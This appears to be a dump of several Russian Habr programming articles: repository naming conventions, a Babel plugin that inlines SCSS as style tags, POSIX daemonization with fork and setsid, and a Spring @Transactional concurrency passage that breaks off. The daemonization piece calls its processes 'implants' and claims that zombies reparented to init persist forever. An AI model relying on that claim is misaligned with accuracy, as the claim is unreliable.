Для того, чтобы подогреть интерес к последующим статьям, расскажу немного о сути метода. Так как управление конфигурациями базируется в основном на ведении репозитория исходного кода, вполне логично было бы предположить, что для того, чтобы согласовать работу всех инструментов управления конфигурациями, нужно формализовать правила ведения репозитория. Это должно быть сделано в таком виде, чтобы принятые соглашения могли использоваться в любом из составных элементов платформы управления конфигурациями – в инструментах сборок, инструментах непрерывной интеграции, и, конечно же, людьми. Таким образом, репозиторий структурируется (каждой директории репозитория соответствует определенный класс содержимого, который может в этой директории находиться), а также определяются шаблоны именования директорий. Одним из шаблонов директорий и есть шаблон вида х.х.х, где х – это число. Если более точно, то шаблон описывается регулярным выражением вида `\d+\.(\d+|x)\.(\d+|x)(_.*)?` . Такой шаблон соответствует наиболее распространенной системе именования сборок и релизов, к которой все привыкли (примеры: 1.0.2, 2.3.5, 3.10.23). Отличие использования данного подхода к именованию в моем методе заключается в том, что зависимости изменений каждой цифры в системе именования от некоторого момента времени описываются формально.
Продолжение следует
Ссылки:
1. [svnbook.red-bean.com](http://svnbook.red-bean.com) — О Subversion
2. [martinfowler.com/articles/continuousIntegration.html](http://martinfowler.com/articles/continuousIntegration.html) — что такое непрерывная интеграция
3. [www.swebok.org](http://www.swebok.org) — Guide to the Software Engineering Body of Knowledge. Книга о программной инженерии, одна из глав которой посвящена конфигурационному менеджменту. Свободна для скачивания.
4. [www.cmcrossroads.com](http://www.cmcrossroads.com) — сообщество, которое ориентировано на обсуждение вопросов, связанных с конфигурационным менеджментом. | https://habr.com/ru/post/53687/ | null | ru | null |
# Как я выкинул webpack и написал babel-plugin для транспила scss/sass
### Предыстория
Как-то субботним вечером я сидел и искал способы сборки UI-Kit с помощью webpack. В качестве демо UI-kit я пользуюсь styleguidst. Конечно же, webpack умный и все файлы, которые есть в рабочем каталоге он запихивает в один бандл и оттуда всё крутится и вертится.
Я создал файл entry.js, импортнул туда все компоненты, затем оттуда же экспортнул. Вроде всё ок.
```
import Button from 'components/Button'
import Dropdown from 'components/Dropdown '
export {
Button,
Dropdown
}
```
И после сборки всего этого, я получил на выходе output.js, в котором как и ожидалось было всё — все компоненты в куче в одном файле. Тут возник вопрос:
> А как мне собрать все кнопочки, дропдауны и прочее по отдельности, что бы импортировать в других проектах?
>
>
А я ведь хочу это ещё и в npm залить как пакет.
Хм… Поехали по порядку.
### Multiple entries
Конечно, первая идея, которая может прийти в голову — спарсить все компоненты в рабочем каталоге. Пришлось немножко погуглить про парсинг файлов, т.к с NodeJS я работаю очень редко. Нашёл такую штуку, как **glob**.
Погнали писать multiple entries.
```
const { basename, join, resolve } = require("path");
const glob = require("glob");
const componentFileRegEx = /\.(j|t)s(x)?$/;
const sassFileRegEx = /\s[ac]ss$/;
const getComponentsEntries = (pattern) => {
const entries = {};
glob.sync(pattern).forEach(file => {
const outFile = basename (file);
const entryName = outFile.replace(componentFileRegEx, "");
entries[entryName] = join(__dirname, file);
})
return entries;
}
module.exports = {
entry: getComponentsEntries("./components/**/*.tsx"),
output: {
filename: "[name].js",
path: resolve(__dirname, "build")
},
module: {
rules: [
{
test: componentFileRegEx,
loader: "babel-loader",
exclude: /node_modules/
},
{
test: sassFileRegEx,
use: ["style-loader", "css-loader", "sass-loader"]
}
]
}
resolve: {
extensions: [".js", ".ts", ".tsx", ".jsx"],
alias: {
components: resolve(__dirname, "components")
}
}
}
```
Готово. Собираем.
После сборки в каталог build упало 2 файла Button.js, Dropdown.js — заглядываем внутрь. Внутри лицензии react.production.min.js, тяжелочитаемый минимизированный код, и куча всякой фигни. Окей, попробуем использовать кнопку.
В демо файле кнопки меняем импорт на импорт из каталога build.
Вот так выглядит простая демка кнопки в styleguidist — Button.md
```
```javascript
import Button from '../../build/Button'
Кнопка
```
```
Заходим посмотреть на кнопочку иии…
`Error: Element type is invalid: expected a string (for built-in components) or a class/function (for composite components) but got: object.`
На этом этапе уже отпали идея и желание собирать через webpack.
### Ищем другой путь сборки без webpack
Идём за помощью к бабелю без вебпака. Пишем скрипт в package.json, указываем файл конфига, расширения, директорию где лежат компоненты, директорию куда собрать:
```
{
//...package.json всякие штуки-дрюки о которых обычно не паримся
scripts: {
"build": "babel --config-file ./.babelrc --extensions '.jsx, .tsx' ./components --out-dir ./build"
}
}
```
запускаем:
```
npm run build
```
Вуаля, у нас в каталоге build появились 2 файла Button.js, Dropdown.js, внутри файлов красиво оформленный ванильный js + некоторые полифилы и одинокий *requre(«styles.scss»)*. Явно это не сработает в демке, удаляем импорт стилей(в этот момент меня гложила надежда, что я найду плагин для транспила scss), собираем ещё раз.
После сборки у нас остался читсый JS. Повторяем попытку интеграции собранного компонента в styleguidist:
```
```javascript
import Button from '../../build/Button'
Кнопка
```
```
Скомпилировалось — работает. Только кнопочка без стилей.
### Ищем плагин для транспила scss/sass
Да, сборка компонентов работает, компоненты работают, можно собирать, паблишить в npm или свой рабочий нехус(nexus). Ещё бы только стили сохранить… Окей, снова гугл нам поможет (нет).
Гугления плагинов не принесли мне каких-то результатов. Один плагин генерирует строку из стилей, другой вообще не работает да ещё требует импорта вида:*import styles from «styles.scss»*
Единственная надежда была на этот плагин: *babel-plugin-transform-scss-import-to-string*, но он просто генерирует строку из стилей (а… я уже говорил выше. Блин...). Дальше всё стало ещё хуже, я дошел до 6 страницы в гугле (а на часах уже 3 утра). Да и вариантов особо уже не будет что-то найти. Да и думать то нечего — либо webpack + sass-loader, которые хреново это делают и не для моего случая, либо ШТО-ТО ДРУГОЕ. Нервы… Я решил немного передохнуть, попить чай, спать всё равно не хочется. Пока делал чай, идея написать плагин для транспила scss/sass все больше и больше влетала в мою голову. Пока мешал сахарочек, редкие звоны ложки в моей голове отдавались эхом: «Пиши плааагин». Ок, решено, буду писать плагин.
### Плагин не найден. Пишем сами
За основу своего плагина я взял *babel-plugin-transform-scss-import-to-string*, упомянутый выше. Я прекрасно понимал, что сейчас будет геморрой с AST деревом, и прочими хитростями. Ладно, поехали.
Делаем предварительные подготовочки. Нам нужны node-sass и path, а так же регулярочки для файлов и расширений. Идея такая:
* Получаем из строки импорта путь до файла со стилями
* Парсим через node-sass стили в строку (спасибо babel-plugin-transform-scss-import-to-string)
* Создаем style теги по каждому из импортов (плагин бабеля запускается на каждом импорте)
* Надо как-то идентифицировать созданный стиль, что бы не накидывать одно и то же на каждый чих hot-reload. Впихнем ему какой-нибудь аттрибут (data-sass-component) со значением текущего файла и названием файла стилей. Будет что-то вроде этого:
```
.button {
display: flex;
}
```
В целях разработки плагина и тестирования на проекте, на уровне с каталогом components я создал babel-plugin-transform-scss каталог, запихнул туда package.json и запихнул туда каталог lib, а в него уже закинул index.js.
> Что бы вы были вкурсе — конфиг бабеля лезет за плагином, который указан в директиве main в package.json, для этого пришлось его запихать.
Указываем:
```
{
//...package.json опять всякие штуки-дрюки о которых обычно не паримся, да и кроме main ничего нету
main: "lib/index.js"
}
```
Затем, пихаем в конфиг бабеля (.babelrc) путь до плагина:
```
{
//Тут всякие пресеты
plugins: [
"./babel-plugin-transform-scss"
//тут остальные плагины для сборки
]
}
```
А теперь напихиваем в index.js магию.
Первый этап — проверка на импорт именно scss или sass файла, получение имени импортируемых файлов, получение имени самого js файла(компонента), транспил в css строку scss или sass. Подрубаемся через WebStorm к npm run build через дебаггер, ставим точки останова, смотрим аргументы path и state и выуживаем имена файлов, обрабатываем руглярочками:
```
const { resolve, dirname, join } = require("path");
const { renderSync } = require("node-sass");
const regexps = {
sassFile: /([A-Za-z0-9]+).s[ac]ss/g,
sassExt: /\.s[ac]ss$/,
currentFile: /([A-Za-z0-9]+).(t|j)s(x)/g,
currentFileExt: /.(t|j)s(x)/g
};
function transformScss(babel) {
const { types: t } = babel;
return {
name: "babel-plugin-transform-scss",
visitor: {
ImportDeclaration(path, state) {
/**
* Проверяем, содержит ли текущий файл scss/sass расширения в импорте
*/
if (!regexps.sassExt.test(path.node.source.value)) return;
const sassFileNameMatch = path.node.source.value.match(
regexps.sassFile
);
/**
* Получаем имя текущего scss/sass файла и текущего js файла
*/
const sassFileName = sassFileNameMatch[0].replace(regexps.sassExt, "");
const file = this.filename.match(regexps.currentFile);
const filename = `${file[0].replace(
regexps.currentFileExt,
""
)}_${sassFileName}`;
/**
*
* Получаем полный путь до scss/sass файла, транспилим в строку css
*/
const scssFileDirectory = resolve(dirname(state.file.opts.filename));
const fullScssFilePath = join(
scssFileDirectory,
path.node.source.value
);
const projectRoot = process.cwd();
const nodeModulesPath = join(projectRoot, "node_modules");
const sassDefaults = {
file: fullScssFilePath,
sourceMap: false,
includePaths: [nodeModulesPath, scssFileDirectory, projectRoot]
};
const sassResult = renderSync({ ...sassDefaults, ...state.opts });
const transpiledContent = sassResult.css.toString() || "";
}
}
}
```
Fire. Первый успех, получена строка css в transpiledContent. Дальше самое страшное — лезем в [babeljs.io/docs/en/babel-types#api](https://babeljs.io/docs/en/babel-types#api) за API по AST дереву. Лезем в [astexplorer.net](https://astexplorer.net/) пишем там код запихивания в head документа стилей.
В [astexplorer.net](https://astexplorer.net/) пишем Self-Invoking функцию, которая будет вызываться на месте импорта стиля:
```
(function(){
const styles = "generated transpiledContent" // ".button {/n display: flex; /n}/n"
const fileName = "generated_attributeValue" //Button_style
const element = document.querySelector("style[data-sass-component='fileName']")
if(!element){
const styleBlock = document.createElement("style")
styleBlock.innerHTML = styles
styleBlock.setAttribute("data-sass-component", fileName)
document.head.appendChild(styleBlock)
}
})()
```
В AST explorer тыкаем в левой части на строки, объявления, литералы, — справа в дереве смотрим структуру объявлений, по этой структуре лезем в [babeljs.io/docs/en/babel-types#api](https://babeljs.io/docs/en/babel-types#api), курим всё это и пишем замену.
A few moments later…
Спустя 1-1,5 часа, бегая по вкладкам из ast в babel-types api, затем в код, я написал замену импорта scss/sass. Разбирать отдельно дерево ast и babel-types api я не буду, будет ещё больше буковок. Показываю сразу результат:
```
const { resolve, dirname, join } = require("path");
const { renderSync } = require("node-sass");
const regexps = {
sassFile: /([A-Za-z0-9]+).s[ac]ss/g,
sassExt: /\.s[ac]ss$/,
currentFile: /([A-Za-z0-9]+).(t|j)s(x)/g,
currentFileExt: /.(t|j)s(x)/g
};
function transformScss(babel) {
const { types: t } = babel;
return {
name: "babel-plugin-transform-scss",
visitor: {
ImportDeclaration(path, state) {
/**
* Проверяем, содержит ли текущий файл scss/sass расширения в импорте
*/
if (!regexps.sassExt.test(path.node.source.value)) return;
const sassFileNameMatch = path.node.source.value.match(
regexps.sassFile
);
/**
* Получаем имя текущего scss/sass файла и текущего js файла
*/
const sassFileName = sassFileNameMatch[0].replace(regexps.sassExt, "");
const file = this.filename.match(regexps.currentFile);
const filename = `${file[0].replace(
regexps.currentFileExt,
""
)}_${sassFileName}`;
/**
*
* Получаем полный путь до scss/sass файла, транспилим в строку css
*/
const scssFileDirectory = resolve(dirname(state.file.opts.filename));
const fullScssFilePath = join(
scssFileDirectory,
path.node.source.value
);
const projectRoot = process.cwd();
const nodeModulesPath = join(projectRoot, "node_modules");
const sassDefaults = {
file: fullScssFilePath,
sourceMap: false,
includePaths: [nodeModulesPath, scssFileDirectory, projectRoot]
};
const sassResult = renderSync({ ...sassDefaults, ...state.opts });
const transpiledContent = sassResult.css.toString() || "";
/**
* Имплементируем функцию, написанную в AST Explorer и заменяем импорт методом
* replaceWith аргумента path.
*/
path.replaceWith(
t.callExpression(
t.functionExpression(
t.identifier(""),
[],
t.blockStatement(
[
t.variableDeclaration("const", [
t.variableDeclarator(
t.identifier("styles"),
t.stringLiteral(transpiledContent)
)
]),
t.variableDeclaration("const", [
t.variableDeclarator(
t.identifier("fileName"),
t.stringLiteral(filename)
)
]),
t.variableDeclaration("const", [
t.variableDeclarator(
t.identifier("element"),
t.callExpression(
t.memberExpression(
t.identifier("document"),
t.identifier("querySelector")
),
[
t.stringLiteral(
`style[data-sass-component='${filename}']`
)
]
)
)
]),
t.ifStatement(
t.unaryExpression("!", t.identifier("element"), true),
t.blockStatement(
[
t.variableDeclaration("const", [
t.variableDeclarator(
t.identifier("styleBlock"),
t.callExpression(
t.memberExpression(
t.identifier("document"),
t.identifier("createElement")
),
[t.stringLiteral("style")]
)
)
]),
t.expressionStatement(
t.assignmentExpression(
"=",
t.memberExpression(
t.identifier("styleBlock"),
t.identifier("innerHTML")
),
t.identifier("styles")
)
),
t.expressionStatement(
t.callExpression(
t.memberExpression(
t.identifier("styleBlock"),
t.identifier("setAttribute")
),
[
t.stringLiteral("data-sass-component"),
t.identifier("fileName")
]
)
),
t.expressionStatement(
t.callExpression(
t.memberExpression(
t.memberExpression(
t.identifier("document"),
t.identifier("head"),
false
),
t.identifier("appendChild"),
false
),
[t.identifier("styleBlock")]
)
)
],
[]
),
null
)
],
[]
),
false,
false
),
[]
)
);
}
}
}
```
### Итоговые радости
Ура!!! Импорт заменился на вызов функции, которая напихала в head документа стиль с этой кнопкой. И тут я подумал, а что если я стартану всю эту байдарку через вебпак, выкосив sass-loader? Будет ли оно работать? Окей, выкашиваем и проверяем. Запускаю сборку вебпаком, жду ошибку, что я должен определить loader для этого типа файла… А ошибки-то нет, всё собралось. Открываю страницу, смотрю, а стиль воткнулся в head документа. Интересно получилось, я ещё избавился от 3 лоадеров для стилей(очень довольная улыбка).
Если вам была интересна статья — **[поддержите звездочкой на github](https://github.com/altgifted/babel-plugin-transform-scss)**.
Так же ссылка на npm пакет: [www.npmjs.com/package/babel-plugin-transform-scss](https://www.npmjs.com/package/babel-plugin-transform-scss)
Примечание: Вне статьи добавлена проверка на импорт стиля по типу *import styles from './styles.scss'* | https://habr.com/ru/post/513564/ | null | ru | null |
# Чем сложна демонизация POSIX
---
#### Вот как по мнению Стивенс вы должны демонизировать:
```
void daemonize(const char *cmd) {
if ((pid = fork()) < 0)
err(1, "fork fail");
else if (pid != 0) /* parent */
exit(0)
/* child A */
setsid()
if ((pid = fork()) < 0)
err(2, "fork fail");
else if (pid != 0) /* child A * /
exit(0)
/* child B (grandchild) */
do_daemon_stuff();
}
```
У большинства людей возникает два вопроса к этому коду:
1. Почему `setsid()` находится в первом дочернем элементе?
2. Зачем делать `fork()` еще раз?
Почему setsid() находится в первом дочернем элементе?
-----------------------------------------------------
Согласно Стивенсу, `setsid()` делает три важные вещи:
1. Процесс становится лидером сеанса нового сеанса, который содержит только вызывающий процесс. (PID = SID)
2. Процесс становится лидером группы процессов новой группы. (PID = SID = PGID)
3. У процесса не будет управляющего терминала. Если он у него был до `setsid()`, то связь будет разорвана.
Кроме того, `setsid()` не может завершиться успехом, если вызывающий процесс уже является лидером группы процессов (PID = PGID), поэтому необходимо сначала вызвать `fork()`, который гарантирует, что вновь созданный процесс не является лидером группы процессов (он наследует идентификатор группы от родителя).
Вызов `setsid()` важен, потому что у демонов не должно быть управляющих терминалов. Если демон запускается из командной оболочки, он подвергается воздействию сигналов от управляющего терминала пользователя, которые могут спровоцировать его неожиданное завершение.
Зачем делать fork() еще раз?
----------------------------
На это есть две причины:
1. Для того, чтобы процесс был переподчинен `init`, его родительский процесс должен завершиться. Большинство благоразумных демонов Unix делают это, поэтому им не нужно снова вызывать `fork()`. Но если родительский процесс **НЕ** собирается завершаться, тогда, если вы хотите, чтобы дочерний процесс был переподчинен `init`, скажем, потому что вы не собираетесь вызывать для него `waitpid()`, тогда вы **ДОЛЖНЫ** вызвать `fork()` во второй раз. Если вы не вызовете `fork()` второй раз и не вызовете `waitpid()` для дочернего элемента, то он станет зомби. Когда родитель, наконец, умирает, его ребенок-зомби может быть переподчинен `init`, но он навсегда останется зомби, потому что `init` никогда не получит SIGCLD, потому что ребенок уже мертв, и поэтому `init` никогда не вызовет `waitpid()`.
2. В операционных системах на основе System V второй вызов `fork()` не позволяет демону когда-либо снова получить управляющий терминал. Единственные широко используемые сегодня варианты System V: AIX, Solaris и HP-UX, так что это не повод использовать `fork()` второй раз, если вы не ожидаете увидеть одну из этих систем.
Так почему я создаю зомби?
--------------------------
Когда процесс завершается, система предполагает, что другой процесс может захотеть вызвать для него `wait/waitpid()`, чтобы получить его статус выхода (как будто кому-то это небезразлично!). Если никто не вызывает `wait/waitpid()` для `pid` мертвого процесса, то запись сохраняется в ядре на неопределенный срок. Так на свет появляется зомби.
Даже если вы правильно демонизируете программу, в некоторых системах можно создать зомби из-за багов программы инициализации. Например, busybox - ошибка 2005 года, из-за которой плодились зомби, потому что `init` не избавлялся от них. В этом случае, возможно, будет лучше вызывать `waitpid` на дочерних процессах, а не форкать дважды.
Как создать зомби
-----------------
Вот как вы можете сделать зомби:
1. Сделайте ребенка
2. Дайте ему умереть, пока вы живы
3. Выйдите, не вызывая `wait/waitpid` для ребенка
При этом я должен отметить, что во всех системах, которые я видел, это не создаст настоящего зомби по следующим причинам:
* В некоторых системах есть kernel reaper поток, который ожидает мертвых процессов и выдает их родительский SIGCHLD (OpenBSD).
* Некоторые системы автоматически переопределяют процесс для инициализации при `exit()`, а затем дают родителю SIGCHLD, вызывая зомби, от которого нужно избавиться (XNU/OSX)
Как сделать фоновую задачу
--------------------------
Для долгоработающих имплантов, обычно нет необходимости во втором форке. Если вы можете настроить обработчик сигналов для SIGCHLD, просто вызовите метод `fork` после вызова `setsid` и выполните задачу. Имплант получит сигнал SIGCHLD, когда ребенок завершится, после чего может быть вызван `wait`.
```
static void signal_handler(int sig) {
int stat;
wait(&stat);
}
void main(void) {
struct sigaction sigact;
sigact.sa_handler = signal_handler;
sigemptyset(&sigact.sa_mask);
sigact.sa_flags = 0;
sigaction(SIGCHLD, &sigact, (struct sigaction *)NULL);
if ((pid = fork()) < 0)
err(1, "fork fail");
else if (pid != 0)
do_parent_stuff();
else {
setsid()
do_child_stuff();
}
}
```
---
> *Перевод статьи подготовлен в преддверии старта курса*[***«Программист C»***](https://otus.pw/0gOW/)*.*
>
> *Также приглашаем всех желающих на демо-урок* [***«Жизненный цикл программы на C под Windows».***](https://otus.pw/6L3X/) *На этом вебинаре мы рассмотрим полный жизненный цикл программы на языке C под ОС Windows, начиная от исходного кода и заканчивая загрузкой готового exe-файла. По ходу дела посмотрим "под капот" различным низкоуровневым механизмам операционной системы и тулчейна компиляции и познакомимся с инструментами для анализа программ.*
>
> - Узнать подробнее о курсе [**«Программист C»**](https://otus.pw/0gOW/).
>
> - Смотреть вебинар [**«Жизненный цикл программы на C под Windows».**](https://otus.pw/6L3X/)
>
> | https://habr.com/ru/post/554630/ | null | ru | null |
# Используем аннотацию @Transactional like a pro
Привет, Хабр! Меня зовут Никита Летов, я тимлид бэкенд-разработки мобильного приложения Росбанка для физических лиц. Этот пост входит в серию постов по разработке бэкенд-микросервисов на Java и Spring и является адаптацией моего [доклада с JPoint 2022](https://www.youtube.com/watch?v=QZ9rXZT0DlQ).
Также хочу предупредить, что данный пост не cookbook и не предоставляет идеально приготовленное решение какой-либо бизнес-проблемы. Это разбор одной технологии, которая при правильном использовании может помочь вам в решении реальной проблемы. А может и не помочь — всё зависит от ее природы.
Если вам лень читать и вы рветесь в бой, то вот тут лежит [проект](https://github.com/TechniXC/transactions-locks-app) со всеми материалами, docker-compose.yml со всей инфраструктурой (kafka, postgres), тестами (gatling projects) и мониторингом (Grafana, Prometheus, exporters). Используя этот проект, вы можете поисследовать разные решения и понаблюдать за производительностью их работы. Если будут сложности или вопросы по проекту — добро пожаловать в комментарии, постараюсь всем помочь и ответить на вопросы.
Ну а теперь к делу. Как почти любой доклад на конференции или статья на Хабре начинаются с горящей проблемы, так и моя история началась с «менеджера трат», который вы наверняка видели в своем любимом банковском приложении.
Примерно так он и выглядит (PFM - Personal Finance Manager)После разработки сервиса, тестирования (в том числе и нагрузочного) и развертывания его на пилотную группу мы столкнулись с тем, что суммы, которые собирает менеджер, расходятся с реальностью, что делает его, по факту, бесполезным.
Вот такие вот проблемы с математикой, на первый взглядНа самом деле, с математикой тут все в порядке и проблема кроется в другом.
Начинаем разбираться. Есть микросервис pfm-app потребляющий сообщения из топика Kafka, продюсером которых является репликатор Debezium из таблицы БД другого микросервиса operation-history-app. События из истории бывают как минимум 4 видов — Холд/Расхолд/Списание/Бонусы. Каждое из них несет в себе конкретную сумму и у каждого вида сообщения свой уникальный UID. При этом ключей сообщений кафки, соответствующих определённому пользователю, нет.
Сервис менеджера трат обрабатывает батчами данные сообщения, собирает пачки по пользователям и начинает процессить — записывать в таблицу PostgreSQL данные о сумме трат в определенной категории в определенный месяц. И на этапе процессинга все начинает рушиться, когда два консьюмера сервиса получают события о тратах одного пользователя и начинают обрабатывать их параллельно. Как же это вышло?
Схема, я думаю, в целом ясна. При создании таких приложений часто забывают о параллельности и многопоточности, а для разработчика картина мира выглядит вот так:
На первый взгляд, все должно выглядеть так, все работают последовательноКак же это работает на самом деле? В OpenShift крутится не один, а несколько под сервиса, а данные дополнительно приходят из REST-потоков. И самое интересное начинается, когда несколько потребителей (под или consumer-ов внутри одной поды, подключенных к разным kafka partition) или потоков, созданных для REST-запросов, пытаются создавать/обновлять/удалять одну и ту же запись в базе данных.
Примерно так работа сервиса выглядит в реальностиЧто же мы получаем? Правильно: конфликты и перезаписи.
Для наглядной демонстрации проблемы создадим простой сервис, единственной целью которого будет учет лайков, поставленных слушателями участникам конференции. Лайки будут собираться по названию доклада.
Сервис будет состоять из
* Слушателя кафки
Код слушателя
```
public class LikesConsumer implements Consumer {
private final SpeakerMessageProcessor messageProcessor;
@Override
public void accept(Likes likes) {
log.warn("Message received {}", likes);
messageProcessor.processOneMessage(likes);
}
}
```
* Процессора
Код процессора
```
public class SpeakerMessageProcessor {
private final SpeakerService speakerService;
public void processOneMessage(Likes likes) {
speakerService.addLikesToSpeaker(likes);
}
}
```
* Единственного сервиса
Код сервиса
```
public class SpeakerService {
private final SpeakersRepository speakersRepository;
private final HistoryRepository historyRepository;
private final StreamBridge streamBridge;
/**
* Method for adding likes to speaker by ID or TalkName.
*
* @param likes DTO with information about likes to be added.
*/
public void addLikesToSpeaker(Likes likes) {
if (likes.getTalkName() != null) {
speakersRepository.findByTalkName(likes.getTalkName()).ifPresentOrElse(speaker -> {
saveMessageToHistory(likes, "RECEIVED");
speaker.setLikes(speaker.getLikes() + likes.getLikes());
speakersRepository.save(speaker);
log.info("{} likes added to {}", likes.getLikes(), speaker.getFirstName() + " " + speaker.getLastName());
}, () -> {
log.warn("Speaker with talk {} not found", likes.getTalkName());
saveMessageToHistory(likes, "ORPHANED");
});
} else {
log.error("Error during adding likes, no IDs given");
saveMessageToHistory(likes, "CORRUPTED");
}
}
/**
* Method for creating task to add likes to speaker.
* Produces the message with DTO to kafka, for future processing.
*
* @param likes DTO with information about likes to be added.
*/
public void createTaskToAddLikes(Likes likes) {
streamBridge.send("likesProducer-out-0", likes);
}
/**
* Method for saving message to history.
* Produces the message with DTO to kafka, for future processing.
*
* @param likes DTO with information about likes to be added.
*/
private void saveMessageToHistory(Likes likes, String status) {
try {
historyRepository.save(HistoryEntity.builder()
.talkName(likes.getTalkName())
.likes(likes.getLikes())
.status(status)
.build());
} catch (RuntimeException ex) {
log.warn("Failed to save message to history.", ex);
}
}
}
```
* REST-контроллера (запускающего ту же задачу, что процессор сообщений)
Код контроллера
```
public class SpeakerController {
private final SpeakerService service;
@PostMapping("/addlikes")
public ResponseEntity updateSpeaker(@RequestBody Likes likes) {
try {
service.addLikesToSpeaker(likes);
return new ResponseEntity<>("Likes successfully added.", HttpStatus.ACCEPTED);
} catch (Exception ex) {
log.warn("Exception in controller:", ex);
return new ResponseEntity<>(ex.getMessage(), HttpStatus.CONFLICT);
}
}
}
```
* Репозиториев спикеров и истории сообщений
Код репозиториев
```
public interface SpeakersRepository extends JpaRepository {
Optional findByTalkName(String talkName);
}
public interface HistoryRepository extends JpaRepository {
}
```
* DTO и Entity
Код DTO и Entity
```
@Table(name = "speakers")
public class SpeakerEntity {
@Id
private Long id;
@Column(name = "firstname")
private String firstName;
@Column(name = "lastname")
private String lastName;
@Column(name = "talkname")
private String talkName;
private int likes;
@CreationTimestamp
@Column(updatable = false, nullable = false)
private LocalDateTime created;
@UpdateTimestamp
@Column(nullable = false)
private LocalDateTime updated;
}
@Table(name = "history")
public class HistoryEntity {
@Id
@GeneratedValue(strategy = GenerationType.IDENTITY)
private Long id;
@Column(name = "talkname")
private String talkName;
private int likes;
private String status;
@CreationTimestamp
@Column(updatable = false, nullable = false)
private LocalDateTime created;
}
public class Likes {
@JsonProperty("talkName")
private String talkName;
@JsonProperty("likes")
private int likes;
}
```
Вроде бы выглядит всё просто и логично, и по идее должно работать, не так ли? Давайте проверим: запустим сервис и прогоним пару тестов по тысяче сообщений гатлингом в кафку и в контроллер. Сценарии гатлинга вы можете посмотреть в проекте по ссылке выше.
По итогам прогона тестов мы хотели бы увидеть, что John Doe получит 2к лайков, но вместо этого получилось… то что получилось, а именно 851.
Сервис взял комиссию в размере ~57% от общего числа лайков :PПочему так получилось? Ведь «…согласно специальной теории относительности Эйнштейна, невозможно сказать в абсолютном смысле, что два разных события происходят одновременно, если эти события разделены в пространстве…». Шутка :) На самом деле, у нас начинается гонка, в которой выигрывает последний.
Last wins, как говоритсяНа примере выше три события начались и закончились в разное время, а по факту в базу записалось только одно. В нашем случае 5 вместо 9.
### Как решить проблему?
Первое, что может прийти в голову начинающему разработчику при возникновении гонки, — синхронизация потоков. Это не поможет, потому что у нас есть несколько инстансов сервиса и сообщения прилетают из разных мест (Consumer + Rest Controller). Последовательное чтение сообщений строго из одной партиции Kafka — интересный вариант, но это снизит производительность. Управление ключами сообщений Kafka — еще интереснее, но может ли producer ставить необходимые ключи? И как это применить в случае прихода сообщений по REST?
Также надо понимать, кто управляет кафкой и можем ли мы создавать дополнительные временные топики, к примеру. А еще у нас есть REST-запросы, которые Tomcat также распараллелит. А если запустить сервис только в режиме работы единственной поды, отключить горячий DR и синхронизировать потом потоки… нет, странный вариант.
Что же будем делать? Вот вам несколько вариантов:
Подсказка – в какой-то степени все варианты верны, но надо их использовать комплексно.
Давайте для начала вспомним, что такое транзакция вообще. В Spring она обозначается как @Transactional.
Транзакция – это группа последовательных операций с базой данных, которая представляет собой логическую единицу работы с данными. Транзакция может быть выполнена либо целиком и успешно, *соблюдая целостность* данных и *независимо от параллельно* идущих *других транзакций*, либо не выполнена вообще. Тогда она не должна произвести никакого эффекта.
Вроде бы это может нам помочь. Посмотрим, как работает транзакция в Spring. Мы аннотируем метод и пытаемся его вызвать (на самом деле вызываем прокси, в который обернут наш метод). Transaction Advisor создает транзакцию, и затем выполняется бизнес-логика. Затем она возвращается в Transaction Advisor, который принимает решение о коммите или роллбэке. В итоге все возвращается в прокси и дальше идет return. **Важно, что *транзакция распространяется только в threadLocal*.**
@Transactional в SpringВ нашем примере мы поставим @Transactional перед методом addLikesToSpeaker, ведь логично, что именно этот метод содержит в себе основную логику работы. В этой точке потоки будут вызывать транзакцию. Запускаем наш тест на две тысячи лайков. Результат будет еще хуже:
Ничего не изменилосьДумаем дальше. Разберем два основных свойства транзакции — Isolation level и Propagation.
### Изоляция
Изоляция – это третья буква в аббревиатуре ACID. Изоляция означает, что параллельные транзакции не должны влиять друг на друга. Степень этого влияния определяется уровнемизоляции. Существует четыре уровня — Read Uncommitted, Read Committed, Repeatable Read и Serializable. Read Uncommitted недоступен в Postgres и оставлен только для совместимости. По факту он работает, как Read Committed, поэтому начнем сразу с него.
#### Read Committed
Представим, что две транзакции собираются изменить данные в таблице. Обе транзакции считывают (select) данные, обе совершают update. Но считывают только данные, которые были закоммичены. Выходит, что пока одна транзакция не закоммитилась, вторая будет считывать те же данные, что и первая. Соответственно, и обновлять данные будет те же самые; в итоге в таблице окажутся только данные от последней закоммиченной транзакции. Выглядит это примерно так:
Read committedУ нас начинается транзакция 1. Она делает какой-то select по id, получает результат (в нашем случае 5) и делает апдейт (прибавляет 3). По ее мнению, в итоге в БД должно быть 8.
Представим, что до коммита транзакции 1 начинается транзакция 2. Она делает аналогичный select и получает тот же результат, потому что транзакция 1 еще не закоммичена. В своем апдейте вторая транзакция прибавляет к 5 еще 8. Получается 13. Но затем транзакция 1 все-таки коммитится, и в итоге мы получаем 8 — по итогам двух транзакций это неверный результат.
С этой же проблемой мы и столкнулись, когда установили в «менеджере трат» уровень всех транзакций как TRANSACTION\_READ\_COMMITTED.
#### Repeatable Read
Repeatable Read должен решать проблему неповторяющихся чтений.
Repeatable ReadНачинается все так же, как и в первом случае. Транзакция 1 коммитится после выполнения транзакции 2. Затем происходит попытка закоммитить транзакцию 2, и мы получаем ошибку «Could not serialize access due to concurrent update».
Похоже, что это подходящий вариант. Но возникает exception, поэтому нужно подумать о @Retryable. Выставим число попыток побольше, потому что конкурентность будет большая:
```
@Retryable(max attempts = 15) // Это кстати довольно много. По-хорошему, должно хватать 1-3 попыток.
```
Запустим два теста на 2000 лайков:
Почти 100%, но все-таки нет. Ошибки «Could not serialize access due to concurrent update» не избежать. Посмотрим в мониторинге, что там с потоками:
Слишком большая конкурентность!200 (!!!) потоков попытались обновить одну entity. Это многовато. Если вы сталкиваетесь с таким количеством потоков в проде, значит, скорее всего, что-то не так. Попробуем уменьшить конкурентность на REST. Не сразу вызывать обновление, а через метод createTaskToAddLikes:
```
public void createTaskToAddLikes(Likes likes) {
streamBridge.send("likesProducer-out-0", likes);
}
@PostMapping("/addlikes")
public ResponseEntity updateSpeaker(@RequestBody Likes likes) {
try {
service.createTaskToAddLikes(likes);
return new ResponseEntity<>("Likes successfully added.", HttpStatus.ACCEPTED);
} catch (Exception ex) {
log.warn("Exception in controller:", ex);
return new ResponseEntity<>(ex.getMessage(), HttpStatus.CONFLICT);
}
}
```
Он также будет отправлять сообщения в очередь Kafka, где у нас выставлено пять партиций и пять сборщиков, которые разбирают лаг:
Запускаем тест. Ура, мы добились 100%:
